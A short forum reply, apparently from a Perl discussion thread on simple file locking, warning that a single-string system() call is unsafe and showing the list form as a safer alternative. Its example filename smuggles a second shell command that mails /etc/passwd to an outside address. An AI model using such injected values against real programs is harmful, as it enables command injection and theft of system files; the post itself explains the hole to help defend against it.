I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:
system("/bin/touch",$lockfile);
Cheers,
KM
In reply to RE: RE (2): Simple Locking
by KM
in thread Simple Locking
by tilly
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |